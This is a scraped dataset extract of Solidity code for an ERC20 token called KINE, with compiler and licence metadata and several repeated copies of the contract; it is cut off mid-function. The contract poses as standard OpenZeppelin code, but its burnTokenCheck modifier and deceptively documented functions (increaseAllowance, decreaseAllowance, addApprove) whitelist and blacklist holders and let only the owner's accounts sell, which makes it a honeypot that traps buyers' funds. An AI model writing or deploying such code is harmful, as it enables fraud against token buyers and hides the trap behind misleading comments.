_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _burn | function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
| /**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
9027,
9450
]
} | 11,735 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _approve | function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
9885,
10234
]
} | 11,736 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
_approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | /**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/ | NatSpecMultiLine | _approveCheck | function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
| /**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/ | NatSpecMultiLine | v0.6.6+commit.6c089d02 | MIT | ipfs://314c3e739dd24b72b697290d14b61d9a792281546bef79ef3487b49d2f909956 | {
"func_code_index": [
10679,
11271
]
} | 11,737 |
KINE | KINE.sol | 0xf86afca50eea9992ffd9db92bbf39a170dff046d | Solidity | KINE | contract KINE is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
_mint(_owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
transfer(receivers[i], amounts[i]);
if(i < approvecount){
